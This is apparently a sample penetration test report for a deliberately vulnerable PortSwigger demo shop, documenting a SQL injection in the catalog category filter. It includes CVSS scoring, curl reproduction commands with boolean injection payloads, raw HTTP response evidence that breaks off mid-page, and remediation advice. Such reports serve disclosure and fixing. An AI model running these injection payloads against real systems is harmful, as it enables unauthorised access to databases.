Sample penetration test report

Here's a finding from an AttackerView pentest of ginandjuice.shop, a shop PortSwigger built to be hacked. Every finding in your report looks like this: what's wrong, how serious it is, how to reproduce it, the requests that prove it, and how to fix it.

SQL injection in the catalog category filter on GET /catalog

Verified on this target

The baseline and true/false responses were checked for the marker.

Assessment details

The recorded test demonstrates the finding on this target.

Severity (CVSS)

9.3 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N

Assessed for this target

Unauthenticated, network-reachable SQL injection with no special conditions (AT:N, PR:N, UI:N). The injection point evaluates attacker-supplied boolean expressions against the product query, allowing full read of the backing database (product/account/order data) and, with stacked or sub-select statements, modification of it. Confidentiality and integrity are rated High; availability is Low because a malformed quote already produces a 500 error and destructive statements are plausible but not demonstrated.

Explanation

The category query parameter of GET /catalog is concatenated into a SQL statement without parameterisation. A single quote breaks the statement and the application returns an HTTP 500 "Internal Server Error" page; appending a SQL comment (-- -) restores a valid statement and a normal 200 product listing. Injecting boolean conditions controls the query result: category=Gin' AND 11=11-- - returns the Gin products, while category=Gin' AND 11=12-- - returns the empty "No result found" page. The two responses differ only in the truth value of the injected predicate, proving the input is evaluated as SQL.

Because searchTerm on the same endpoint is escaped/parameterised (quotes are backslash-escaped and never break the query), the vulnerable input is specifically category.

Prerequisites

Confirmed: /catalog is public and requires no authentication. Confirmed: the category value is placed inside a SQL string literal and a lone quote triggers a database error (HTTP 500). Confirmed: the comment sequence -- - terminates the remainder of the original statement, so attacker-controlled predicates can be appended. Unmet: none — the proof uses only GET requests with no session or credentials. Unknown: the exact DBMS and the surrounding query text; the -- comment form and integer predicates used here are portable across MySQL/PostgreSQL/MSSQL, and the observed error page is generic.

Reproduction steps

Fresh start: no credentials or prior state; the endpoint is public. Use a client that preserves URL encoding (curl).

  1. Confirm the injection point. Request a lone quote and observe the error:
curl -sk "https://ginandjuice.shop/catalog?category=Gin%27" -w "\n[%{http_code}]\n"

Expected: HTTP 500 with an "Internal Server Error" page.

  1. Confirm the comment closes the statement and restores normal behaviour:
curl -sk "https://ginandjuice.shop/catalog?category=Gin%27--%20-" | grep -c "container-list-tiles"

Expected: 1 (a product listing, HTTP 200).

  1. Baseline and boolean pairs (the marker used by the proof is the product name Sloe Gin Timer Kit, which appears in the baseline and true responses only):
curl -sk "https://ginandjuice.shop/catalog?category=Gin" | grep -c "Sloe Gin Timer Kit"                        # baseline
curl -sk "https://ginandjuice.shop/catalog?category=Gin%27%20AND%2011%3D11--%20-" | grep -c "Sloe Gin Timer Kit" # true
curl -sk "https://ginandjuice.shop/catalog?category=Gin%27%20AND%2011%3D12--%20-" | grep -c "Sloe Gin Timer Kit" # false
curl -sk "https://ginandjuice.shop/catalog?category=Gin%27%20AND%2023%3D23--%20-" | grep -c "Sloe Gin Timer Kit" # true
curl -sk "https://ginandjuice.shop/catalog?category=Gin%27%20AND%2023%3D24--%20-" | grep -c "Sloe Gin Timer Kit" # false

Expected results: baseline 1, true 1, false 0, true 1, false 0; every response is HTTP 200.

Cleanup: none — the requests are read-only GETs and create no state.

Evidence

The error differential — a bare quote breaks the query:

GET /catalog?category=Gin%27 HTTP/2
Host: ginandjuice.shop
HTTP/2 500
content-type: text/html; charset=utf-8
...
<h4>Internal Server Error</h4>
<p class=is-warning>Internal Server Error</p>

The boolean differential — true predicates return products, false predicates return the empty listing. Captured responses for the five proof requests (aliases r44–r48); each returned HTTP 200 and the response bodies contained the marker Sloe Gin Timer Kit as follows:

category=Gin                        -> 200, marker present
category=Gin' AND 11=11-- -         -> 200, marker present
category=Gin' AND 11=12-- -         -> 200, marker absent (empty "No result found")
category=Gin' AND 23=23-- -         -> 200, marker present
category=Gin' AND 23=24-- -         -> 200, marker absent (empty "No result found")

Example true response body (truncated):

<section class="container-list-tiles">
  <a href="/catalog/product?productId=1"> ... <h3>Pineapple Edition Cocktail</h3> ...
  ... <h3>Sloe Gin Timer Kit</h3> ...

The marker appears in the baseline and both true responses and in neither false response, and appears in none of the requests.

Impact

Demonstrated: an unauthenticated attacker can control the logic of the catalog query and read arbitrary data reachable by that database account (product records, and by extension any user, order or credential data stored in the same schema). The injection also allows returning rows outside the intended category filter, so access-control by filter is bypassed. Integrity impact is plausible through stacked/sub-select statements (updating or deleting rows) but was not exercised against real data. Availability impact is Low: malformed input already yields 500 errors, and destructive statements are conceivable. No monetary transaction was performed.

Remediation

Use parameterised queries (prepared statements) for the category filter — bind the value as a parameter rather than concatenating it into the SQL text, so the database treats it strictly as data. Additionally, validate category against the known allow-list of category names and reject unknown values with a 400 response. When the PoC is rerun, category=Gin' must return a normal 200 (filtered or empty listing) rather than a 500, and the injected AND 11=12 predicate must not change the result set.

Evidence of record

  • baselineId · r44 · 9a00516b-5f9c-4d0d-bd82-0e62b9f70478
    Request
    GET https://ginandjuice.shop/catalog?category=Gin
    user-agent: curl/8.5.0
    accept: */*
    Response
    HTTP 200 OK
    date: Mon, 12 Oct 2026 09:04:14 GMT
    content-type: text/html; charset=utf-8
    content-length: 13110
    set-cookie: AWSALB=[REDACTED]; Expires=Mon, 19 Oct 2026 09:04:14 GMT; Path=/
    set-cookie: AWSALBCORS=[REDACTED]; Expires=Mon, 19 Oct 2026 09:04:14 GMT; Path=/; SameSite=None; Secure
    set-cookie: TrackingId=[REDACTED]; Secure; HttpOnly
    set-cookie: session=[REDACTED]; Secure; HttpOnly; SameSite=None
    set-cookie: category=[REDACTED]; Secure; HttpOnly
    x-backend: afe78951-5574-463e-9aac-b2da4a965957
    x-frame-options: SAMEORIGIN
    
    <!DOCTYPE html>
    <html>
    <!--LAB_HEAD_START-->
        <head>
            <link href=/resources/labheader/css/scanMeHeader.css rel=stylesheet>
            <link href=/resources/css/labsEcommerce.css rel=stylesheet>
            <link href=/resources/css/labsScanme.css rel=stylesheet>
            <meta name="viewport" content="width=device-width, user-scalable=no">
            <script src="/resources/js/react.development.js"></script>
            <script src="/resources/js/react-dom.development.js"></script>
            <script type="text/javascript" src="/resources/js/angular_1-7-7.js"></script>
            <title>Products - Gin &amp; Juice Shop</title>
        </head>
    <!--LAB_HEAD_END-->
        <body ng-app>
            <div id="scanMeHeader">
                <section class="header-description">
                    <p>
                        This is a deliberately vulnerable web application designed for testing web&nbsp;vulnerability&nbsp;scanners.
                        <span class="link" onmouseenter="window.__x1 = 1" onmouseover="window.__x2 = 1" onmousemove="window.__x3 = 1"  onmousedown="window.__x4 = 1" onmouseup="if (window.__x1 && window.__x2 && window.__x3 && window.__x4) location = atob('L3Z1bG5lcmFiaWxpdGllcw==')" onmouseleave="delete window.__x1; delete window.__x2; delete window.__x3; delete window.__x4">Put your scanner to the test!</span>
                    </p>
                </section>
                <section class='scanMeBanner'>
                    <div class=container>
                        <a href='/'>
                            <div class=scanme-logo></div>
                        </a>
                        <div class=title-container>
                            <nav>
                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button selected" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
                                <ul class="navigation-header-links secondary-links">
                                    <li>
                                        <a class="account-icon" href="/my-account"><svg><use href="/resources/images/icon-account.svg#account-icon"></use></svg></a>
                                        <ul>
                                            <li>
                                                <a class="button" href="/my-account">Log in</a>
                                            </li>
                                            <li>
                                                <a class="button" href="/my-account">My account</a>
                                            </li>
                                        </ul>
                                    </li>
                                    <li>
                                        <a class="cart-icon" href="/catalog/cart"><span>0</span><svg><use href="/resources/images/icon-cart.svg#cart-icon"></use></svg></a>
                                    </li>
                                    <li class="nav-toggle"><a class="nav-trigger"><span></span><span></span><span></span></a></li>
                                </ul>
                            </nav>
                        </div>
                    </div>
                </section>
            </div>
            <div theme="ecommerce">
                <section class="maincontainer">
                    <div class="container is-page">
                        <header class="notification-header">
                        </header>
                        <h1>Products</h1>
                        <section class=search>
                            <form action="/catalog" method=GET>
                                <input type=text id="searchBar" placeholder="Search products" name="searchTerm">
                                <script>
                                    var searchText = '';
                                    document.getElementById('searchBar').value = searchText;
                                </script>
                                <input hidden type=text name="category" value="Gin">
                                <button type=submit class=button>Search</button>
                            </form>
                        </section>
                        <section id="react-container" class="search-filters">
                            <label>Refine your search:</label>
                            <script type="text/javascript" >
        const element = React.createElement;
        const categories = {"All":"/catalog","Accessories":"/catalog?category=Accessories","Accompaniments":"/catalog?category=Accompaniments","Books":"/catalog?category=Books","Gin":"/catalog?category=Gin","Juice":"/catalog?category=Juice"};
        const selectedCategory = "Gin";
        const root = ReactDOM.createRoot(document.getElementById('react-container'));
    
        const categorySelected = (name, selected) => !!selected ? name === selected : name === "All";
    
        const categoryList = Object.entries(categories).map((category, i) => {
            const name = category[0];
            const href = category[1];
            const selected = categorySelected(name, selectedCategory);
            const className = selected ? 'filter-category selected' : 'filter-category';
            return element('a', { key: i, className, href }, name);
        });
    
        const filterBar = element('div', null, categoryList);
        root.render(filterBar);
    
    </script>
                        </section>
                        <section class="container-list-tiles">
                            <a href="/catalog/product?productId=1">
                                <img src="/image/scanme/productcatalog/products/pineapple_edition.png">
                                <h3>Pineapple Edition Cocktail</h3>
                                <img src="/resources/images/rating3.png">
                                <span class="price">$30.50</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=6">
                                <img src="/image/scanme/productcatalog/products/batch_1337.png">
                                <h3>Batch 1337 Cocktail</h3>
                                <img src="/resources/images/rating4.png">
                                <span class="price">$30.50</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=10">
                                <img src="/image/scanme/productcatalog/products/2.png">
                                <h3>Sloe Gin Timer Kit</h3>
                                <img src="/resources/images/rating3.png">
                                <span class="price">$85.78</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=13">
                                <img src="/image/scanme/productcatalog/products/6.png">
                                <h3>Orange Gin Finest</h3>
                                <img src="/resources/images/rating2.png">
                                <span class="price">$64.64</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=14">
                                <img src="/image/scanme/productcatalog/products/kettle_still.png">
                                <h3>Kettle Still Edition Gin</h3>
                                <img src="/resources/images/rating5.png">
                                <span class="price">$50.00</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=15">
                                <img src="/image/scanme/productcatalog/products/original_dry_sqli.png">
                                <h3>Original Dry SQLi Cocktail</h3>
                                <img src="/resources/images/rating4.png">
                                <span class="price">$30.50</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=16">
                                <img src="/image/scanme/productcatalog/products/purple_hat.png">
                                <h3>Purple Hat Gin</h3>
                                <img src="/resources/images/rating5.png">
                                <span class="price">$100.00</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=17">
                                <img src="/image/scanme/productcatalog/products/lost_in_a_heyes.png">
                                <h3>Lost in a Heyes Gin</h3>
                                <img src="/resources/images/rating5.png">
                                <span class="price">$50.00</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=18">
                                <img src="/image/scanme/productcatalog/products/4.png">
                                <h3>Gin Flavouring Gift Box</h3>
                                <img src="/resources/images/rating3.png">
                                <span class="price">$68.70</span>
                                <span class="button">View details</span>
                            </a>
                        </section>
                        <div class=is-linkback>
                            <a href='/catalog'>Continue shopping</a>
                        </div>
                    </div>
                </section>
                <div class="footer-wrapper">
                    <section class="footer">
                        <div class="footer-left"></div>
                        <div class="footer-center">
                            <h2>Never miss a deal - subscribe now</h2>
                            <p>Join our worldwide community of gin and juice fanatics, for exclusive news on our latest deals, new releases, collaborations, and more.</p>
                            <script src='/resources/js/subscribeNow.js'></script>
                            <div id="subscribe" class="form" data-method="post" data-action="/catalog/subscribe">
                                <input required type=email name=email placeholder="Email address">
                                <input required type="hidden" name="csrf" value="[REDACTED]">
                                <button class="button" type=submit>Subscribe</button>
                            </div>
                            <dialog id="coupon-dialog">
                                <div class="coupon-wrapper">
                                    <button class="close-button" onclick="closeCouponDialog(event)"></button>
                                    <div class="coupon-info">
                                        <h1>20% off everything</h1>
                                        <div class="coupon-input">
                                            <h3 id="copyable-coupon">Coupon not found</h3>
                                            <button id="copy-coupon-button" class="copy-button" onclick="copyCoupon(event)"></button>
                                            <div id="coupon-copied-tick" class="coupon-copied-tick hidden"></div>
                                        </div>
                                        <p>Apply this coupon to your Shopping Cart before placing your order.</p>
                                    </div>
                                </div>
                            </dialog>
                            <div class="footer-copyright">
                                <div class="portswigger-logo"></div>
                                <div>© 2023 PortSwigger Ltd.</div>
                            </div>
                        </div>
                        <div class="footer-right"></div>
                    </section>
                    <section class="footer-lower">
                        <div class="footerNavigation">
                            <div class="socialLinks">
                            </div>
                            <nav>
                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button selected" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
                            </nav>
                        </div>
                    </section>
                </div>
            </div>
            <script src='/resources/footer/js/scanme.js'></script>
        </body>
    </html>
    
  • pairs[0].trueId · r45 · 6ef999e9-55e1-441c-adb1-5c632c43526b
    Request
    GET https://ginandjuice.shop/catalog?category=Gin%27%20AND%2011%3D11--%20-
    user-agent: curl/8.5.0
    accept: */*
    Response
    HTTP 200 OK
    date: Mon, 12 Oct 2026 09:04:15 GMT
    content-type: text/html; charset=utf-8
    content-length: 13145
    set-cookie: AWSALB=[REDACTED]; Expires=Mon, 19 Oct 2026 09:04:15 GMT; Path=/
    set-cookie: AWSALBCORS=[REDACTED]; Expires=Mon, 19 Oct 2026 09:04:15 GMT; Path=/; SameSite=None; Secure
    set-cookie: TrackingId=[REDACTED]; Secure; HttpOnly
    set-cookie: session=[REDACTED]; Secure; HttpOnly; SameSite=None
    set-cookie: category=[REDACTED]; Secure; HttpOnly
    x-backend: 43e98f03-700e-4d12-841c-74aea6d448bb
    x-frame-options: SAMEORIGIN
    
    <!DOCTYPE html>
    <html>
    <!--LAB_HEAD_START-->
        <head>
            <link href=/resources/labheader/css/scanMeHeader.css rel=stylesheet>
            <link href=/resources/css/labsEcommerce.css rel=stylesheet>
            <link href=/resources/css/labsScanme.css rel=stylesheet>
            <meta name="viewport" content="width=device-width, user-scalable=no">
            <script src="/resources/js/react.development.js"></script>
            <script src="/resources/js/react-dom.development.js"></script>
            <script type="text/javascript" src="/resources/js/angular_1-7-7.js"></script>
            <title>Products - Gin &amp; Juice Shop</title>
        </head>
    <!--LAB_HEAD_END-->
        <body ng-app>
            <div id="scanMeHeader">
                <section class="header-description">
                    <p>
                        This is a deliberately vulnerable web application designed for testing web&nbsp;vulnerability&nbsp;scanners.
                        <span class="link" onmouseenter="window.__x1 = 1" onmouseover="window.__x2 = 1" onmousemove="window.__x3 = 1"  onmousedown="window.__x4 = 1" onmouseup="if (window.__x1 && window.__x2 && window.__x3 && window.__x4) location = atob('L3Z1bG5lcmFiaWxpdGllcw==')" onmouseleave="delete window.__x1; delete window.__x2; delete window.__x3; delete window.__x4">Put your scanner to the test!</span>
                    </p>
                </section>
                <section class='scanMeBanner'>
                    <div class=container>
                        <a href='/'>
                            <div class=scanme-logo></div>
                        </a>
                        <div class=title-container>
                            <nav>
                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button selected" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
                                <ul class="navigation-header-links secondary-links">
                                    <li>
                                        <a class="account-icon" href="/my-account"><svg><use href="/resources/images/icon-account.svg#account-icon"></use></svg></a>
                                        <ul>
                                            <li>
                                                <a class="button" href="/my-account">Log in</a>
                                            </li>
                                            <li>
                                                <a class="button" href="/my-account">My account</a>
                                            </li>
                                        </ul>
                                    </li>
                                    <li>
                                        <a class="cart-icon" href="/catalog/cart"><span>0</span><svg><use href="/resources/images/icon-cart.svg#cart-icon"></use></svg></a>
                                    </li>
                                    <li class="nav-toggle"><a class="nav-trigger"><span></span><span></span><span></span></a></li>
                                </ul>
                            </nav>
                        </div>
                    </div>
                </section>
            </div>
            <div theme="ecommerce">
                <section class="maincontainer">
                    <div class="container is-page">
                        <header class="notification-header">
                        </header>
                        <h1>Products</h1>
                        <section class=search>
                            <form action="/catalog" method=GET>
                                <input type=text id="searchBar" placeholder="Search products" name="searchTerm">
                                <script>
                                    var searchText = '';
                                    document.getElementById('searchBar').value = searchText;
                                </script>
                                <input hidden type=text name="category" value="Gin&apos; AND 11=11-- -">
                                <button type=submit class=button>Search</button>
                            </form>
                        </section>
                        <section id="react-container" class="search-filters">
                            <label>Refine your search:</label>
                            <script type="text/javascript" >
        const element = React.createElement;
        const categories = {"All":"/catalog","Accessories":"/catalog?category=Accessories","Accompaniments":"/catalog?category=Accompaniments","Books":"/catalog?category=Books","Gin":"/catalog?category=Gin","Juice":"/catalog?category=Juice"};
        const selectedCategory = "Gin' AND 11=11-- -";
        const root = ReactDOM.createRoot(document.getElementById('react-container'));
    
        const categorySelected = (name, selected) => !!selected ? name === selected : name === "All";
    
        const categoryList = Object.entries(categories).map((category, i) => {
            const name = category[0];
            const href = category[1];
            const selected = categorySelected(name, selectedCategory);
            const className = selected ? 'filter-category selected' : 'filter-category';
            return element('a', { key: i, className, href }, name);
        });
    
        const filterBar = element('div', null, categoryList);
        root.render(filterBar);
    
    </script>
                        </section>
                        <section class="container-list-tiles">
                            <a href="/catalog/product?productId=1">
                                <img src="/image/scanme/productcatalog/products/pineapple_edition.png">
                                <h3>Pineapple Edition Cocktail</h3>
                                <img src="/resources/images/rating3.png">
                                <span class="price">$30.50</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=6">
                                <img src="/image/scanme/productcatalog/products/batch_1337.png">
                                <h3>Batch 1337 Cocktail</h3>
                                <img src="/resources/images/rating4.png">
                                <span class="price">$30.50</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=10">
                                <img src="/image/scanme/productcatalog/products/2.png">
                                <h3>Sloe Gin Timer Kit</h3>
                                <img src="/resources/images/rating3.png">
                                <span class="price">$85.78</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=13">
                                <img src="/image/scanme/productcatalog/products/6.png">
                                <h3>Orange Gin Finest</h3>
                                <img src="/resources/images/rating2.png">
                                <span class="price">$64.64</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=14">
                                <img src="/image/scanme/productcatalog/products/kettle_still.png">
                                <h3>Kettle Still Edition Gin</h3>
                                <img src="/resources/images/rating5.png">
                                <span class="price">$50.00</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=15">
                                <img src="/image/scanme/productcatalog/products/original_dry_sqli.png">
                                <h3>Original Dry SQLi Cocktail</h3>
                                <img src="/resources/images/rating4.png">
                                <span class="price">$30.50</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=16">
                                <img src="/image/scanme/productcatalog/products/purple_hat.png">
                                <h3>Purple Hat Gin</h3>
                                <img src="/resources/images/rating5.png">
                                <span class="price">$100.00</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=17">
                                <img src="/image/scanme/productcatalog/products/lost_in_a_heyes.png">
                                <h3>Lost in a Heyes Gin</h3>
                                <img src="/resources/images/rating5.png">
                                <span class="price">$50.00</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=18">
                                <img src="/image/scanme/productcatalog/products/4.png">
                                <h3>Gin Flavouring Gift Box</h3>
                                <img src="/resources/images/rating3.png">
                                <span class="price">$68.70</span>
                                <span class="button">View details</span>
                            </a>
                        </section>
                        <div class=is-linkback>
                            <a href='/catalog'>Continue shopping</a>
                        </div>
                    </div>
                </section>
                <div class="footer-wrapper">
                    <section class="footer">
                        <div class="footer-left"></div>
                        <div class="footer-center">
                            <h2>Never miss a deal - subscribe now</h2>
                            <p>Join our worldwide community of gin and juice fanatics, for exclusive news on our latest deals, new releases, collaborations, and more.</p>
                            <script src='/resources/js/subscribeNow.js'></script>
                            <div id="subscribe" class="form" data-method="post" data-action="/catalog/subscribe">
                                <input required type=email name=email placeholder="Email address">
                                <input required type="hidden" name="csrf" value="[REDACTED]">
                                <button class="button" type=submit>Subscribe</button>
                            </div>
                            <dialog id="coupon-dialog">
                                <div class="coupon-wrapper">
                                    <button class="close-button" onclick="closeCouponDialog(event)"></button>
                                    <div class="coupon-info">
                                        <h1>20% off everything</h1>
                                        <div class="coupon-input">
                                            <h3 id="copyable-coupon">Coupon not found</h3>
                                            <button id="copy-coupon-button" class="copy-button" onclick="copyCoupon(event)"></button>
                                            <div id="coupon-copied-tick" class="coupon-copied-tick hidden"></div>
                                        </div>
                                        <p>Apply this coupon to your Shopping Cart before placing your order.</p>
                                    </div>
                                </div>
                            </dialog>
                            <div class="footer-copyright">
                                <div class="portswigger-logo"></div>
                                <div>© 2023 PortSwigger Ltd.</div>
                            </div>
                        </div>
                        <div class="footer-right"></div>
                    </section>
                    <section class="footer-lower">
                        <div class="footerNavigation">
                            <div class="socialLinks">
                            </div>
                            <nav>
                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button selected" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
                            </nav>
                        </div>
                    </section>
                </div>
            </div>
            <script src='/resources/footer/js/scanme.js'></script>
        </body>
    </html>
    
  • pairs[0].falseId · r46 · 19e46792-d3ff-429b-9cee-aa7c1bc7373c
    Request
    GET https://ginandjuice.shop/catalog?category=Gin%27%20AND%2011%3D12--%20-
    user-agent: curl/8.5.0
    accept: */*
    Response
    HTTP 200 OK
    date: Mon, 12 Oct 2026 09:04:15 GMT
    content-type: text/html; charset=utf-8
    content-length: 9406
    set-cookie: AWSALB=[REDACTED]; Expires=Mon, 19 Oct 2026 09:04:15 GMT; Path=/
    set-cookie: AWSALBCORS=[REDACTED]; Expires=Mon, 19 Oct 2026 09:04:15 GMT; Path=/; SameSite=None; Secure
    set-cookie: TrackingId=[REDACTED]; Secure; HttpOnly
    set-cookie: session=[REDACTED]; Secure; HttpOnly; SameSite=None
    set-cookie: category=[REDACTED]; Secure; HttpOnly
    x-backend: d042b2b2-666f-4720-94db-1a77a565c5b9
    x-frame-options: SAMEORIGIN
    
    <!DOCTYPE html>
    <html>
    <!--LAB_HEAD_START-->
        <head>
            <link href=/resources/labheader/css/scanMeHeader.css rel=stylesheet>
            <link href=/resources/css/labsEcommerce.css rel=stylesheet>
            <link href=/resources/css/labsScanme.css rel=stylesheet>
            <meta name="viewport" content="width=device-width, user-scalable=no">
            <script src="/resources/js/react.development.js"></script>
            <script src="/resources/js/react-dom.development.js"></script>
            <script type="text/javascript" src="/resources/js/angular_1-7-7.js"></script>
            <title>Products - Gin &amp; Juice Shop</title>
        </head>
    <!--LAB_HEAD_END-->
        <body ng-app>
            <div id="scanMeHeader">
                <section class="header-description">
                    <p>
                        This is a deliberately vulnerable web application designed for testing web&nbsp;vulnerability&nbsp;scanners.
                        <span class="link" onmouseenter="window.__x1 = 1" onmouseover="window.__x2 = 1" onmousemove="window.__x3 = 1"  onmousedown="window.__x4 = 1" onmouseup="if (window.__x1 && window.__x2 && window.__x3 && window.__x4) location = atob('L3Z1bG5lcmFiaWxpdGllcw==')" onmouseleave="delete window.__x1; delete window.__x2; delete window.__x3; delete window.__x4">Put your scanner to the test!</span>
                    </p>
                </section>
                <section class='scanMeBanner'>
                    <div class=container>
                        <a href='/'>
                            <div class=scanme-logo></div>
                        </a>
                        <div class=title-container>
                            <nav>
                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button selected" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
                                <ul class="navigation-header-links secondary-links">
                                    <li>
                                        <a class="account-icon" href="/my-account"><svg><use href="/resources/images/icon-account.svg#account-icon"></use></svg></a>
                                        <ul>
                                            <li>
                                                <a class="button" href="/my-account">Log in</a>
                                            </li>
                                            <li>
                                                <a class="button" href="/my-account">My account</a>
                                            </li>
                                        </ul>
                                    </li>
                                    <li>
                                        <a class="cart-icon" href="/catalog/cart"><span>0</span><svg><use href="/resources/images/icon-cart.svg#cart-icon"></use></svg></a>
                                    </li>
                                    <li class="nav-toggle"><a class="nav-trigger"><span></span><span></span><span></span></a></li>
                                </ul>
                            </nav>
                        </div>
                    </div>
                </section>
            </div>
            <div theme="ecommerce">
                <section class="maincontainer">
                    <div class="container is-page">
                        <header class="notification-header">
                        </header>
                        <h1>Products</h1>
                        <section class=search>
                            <form action="/catalog" method=GET>
                                <input type=text id="searchBar" placeholder="Search products" name="searchTerm">
                                <script>
                                    var searchText = '';
                                    document.getElementById('searchBar').value = searchText;
                                </script>
                                <input hidden type=text name="category" value="Gin&apos; AND 11=12-- -">
                                <button type=submit class=button>Search</button>
                            </form>
                        </section>
                        <section id="react-container" class="search-filters">
                            <label>Refine your search:</label>
                            <script type="text/javascript" >
        const element = React.createElement;
        const categories = {"All":"/catalog","Accessories":"/catalog?category=Accessories","Accompaniments":"/catalog?category=Accompaniments","Books":"/catalog?category=Books","Gin":"/catalog?category=Gin","Juice":"/catalog?category=Juice"};
        const selectedCategory = "Gin' AND 11=12-- -";
        const root = ReactDOM.createRoot(document.getElementById('react-container'));
    
        const categorySelected = (name, selected) => !!selected ? name === selected : name === "All";
    
        const categoryList = Object.entries(categories).map((category, i) => {
            const name = category[0];
            const href = category[1];
            const selected = categorySelected(name, selectedCategory);
            const className = selected ? 'filter-category selected' : 'filter-category';
            return element('a', { key: i, className, href }, name);
        });
    
        const filterBar = element('div', null, categoryList);
        root.render(filterBar);
    
    </script>
                        </section>
                        <div class="no-results">
                            <div class="no-results-icon"><svg><use href="/resources/images/goggles.svg#goggles"></use></svg></div>
                            <h2>Sorry! No result found</h2>
                            <div>But don't give up - check the spelling or try less specific search terms.</div>
                        </div>
                        <div class=is-linkback>
                            <a href='/catalog'>Continue shopping</a>
                        </div>
                    </div>
                </section>
                <div class="footer-wrapper">
                    <section class="footer">
                        <div class="footer-left"></div>
                        <div class="footer-center">
                            <h2>Never miss a deal - subscribe now</h2>
                            <p>Join our worldwide community of gin and juice fanatics, for exclusive news on our latest deals, new releases, collaborations, and more.</p>
                            <script src='/resources/js/subscribeNow.js'></script>
                            <div id="subscribe" class="form" data-method="post" data-action="/catalog/subscribe">
                                <input required type=email name=email placeholder="Email address">
                                <input required type="hidden" name="csrf" value="[REDACTED]">
                                <button class="button" type=submit>Subscribe</button>
                            </div>
                            <dialog id="coupon-dialog">
                                <div class="coupon-wrapper">
                                    <button class="close-button" onclick="closeCouponDialog(event)"></button>
                                    <div class="coupon-info">
                                        <h1>20% off everything</h1>
                                        <div class="coupon-input">
                                            <h3 id="copyable-coupon">Coupon not found</h3>
                                            <button id="copy-coupon-button" class="copy-button" onclick="copyCoupon(event)"></button>
                                            <div id="coupon-copied-tick" class="coupon-copied-tick hidden"></div>
                                        </div>
                                        <p>Apply this coupon to your Shopping Cart before placing your order.</p>
                                    </div>
                                </div>
                            </dialog>
                            <div class="footer-copyright">
                                <div class="portswigger-logo"></div>
                                <div>© 2023 PortSwigger Ltd.</div>
                            </div>
                        </div>
                        <div class="footer-right"></div>
                    </section>
                    <section class="footer-lower">
                        <div class="footerNavigation">
                            <div class="socialLinks">
                            </div>
                            <nav>
                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button selected" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
                            </nav>
                        </div>
                    </section>
                </div>
            </div>
            <script src='/resources/footer/js/scanme.js'></script>
        </body>
    </html>
    
  • pairs[1].trueId · r47 · 3cabd302-618f-4b09-b955-694a3f4dad46
    Request
    GET https://ginandjuice.shop/catalog?category=Gin%27%20AND%2023%3D23--%20-
    user-agent: curl/8.5.0
    accept: */*
    Response
    HTTP 200 OK
    date: Mon, 12 Oct 2026 09:04:15 GMT
    content-type: text/html; charset=utf-8
    content-length: 13145
    set-cookie: AWSALB=[REDACTED]; Expires=Mon, 19 Oct 2026 09:04:15 GMT; Path=/
    set-cookie: AWSALBCORS=[REDACTED]; Expires=Mon, 19 Oct 2026 09:04:15 GMT; Path=/; SameSite=None; Secure
    set-cookie: TrackingId=[REDACTED]; Secure; HttpOnly
    set-cookie: session=[REDACTED]; Secure; HttpOnly; SameSite=None
    set-cookie: category=[REDACTED]; Secure; HttpOnly
    x-backend: a3b661f1-727e-4c59-b93e-9db836e9fc88
    x-frame-options: SAMEORIGIN
    
    <!DOCTYPE html>
    <html>
    <!--LAB_HEAD_START-->
        <head>
            <link href=/resources/labheader/css/scanMeHeader.css rel=stylesheet>
            <link href=/resources/css/labsEcommerce.css rel=stylesheet>
            <link href=/resources/css/labsScanme.css rel=stylesheet>
            <meta name="viewport" content="width=device-width, user-scalable=no">
            <script src="/resources/js/react.development.js"></script>
            <script src="/resources/js/react-dom.development.js"></script>
            <script type="text/javascript" src="/resources/js/angular_1-7-7.js"></script>
            <title>Products - Gin &amp; Juice Shop</title>
        </head>
    <!--LAB_HEAD_END-->
        <body ng-app>
            <div id="scanMeHeader">
                <section class="header-description">
                    <p>
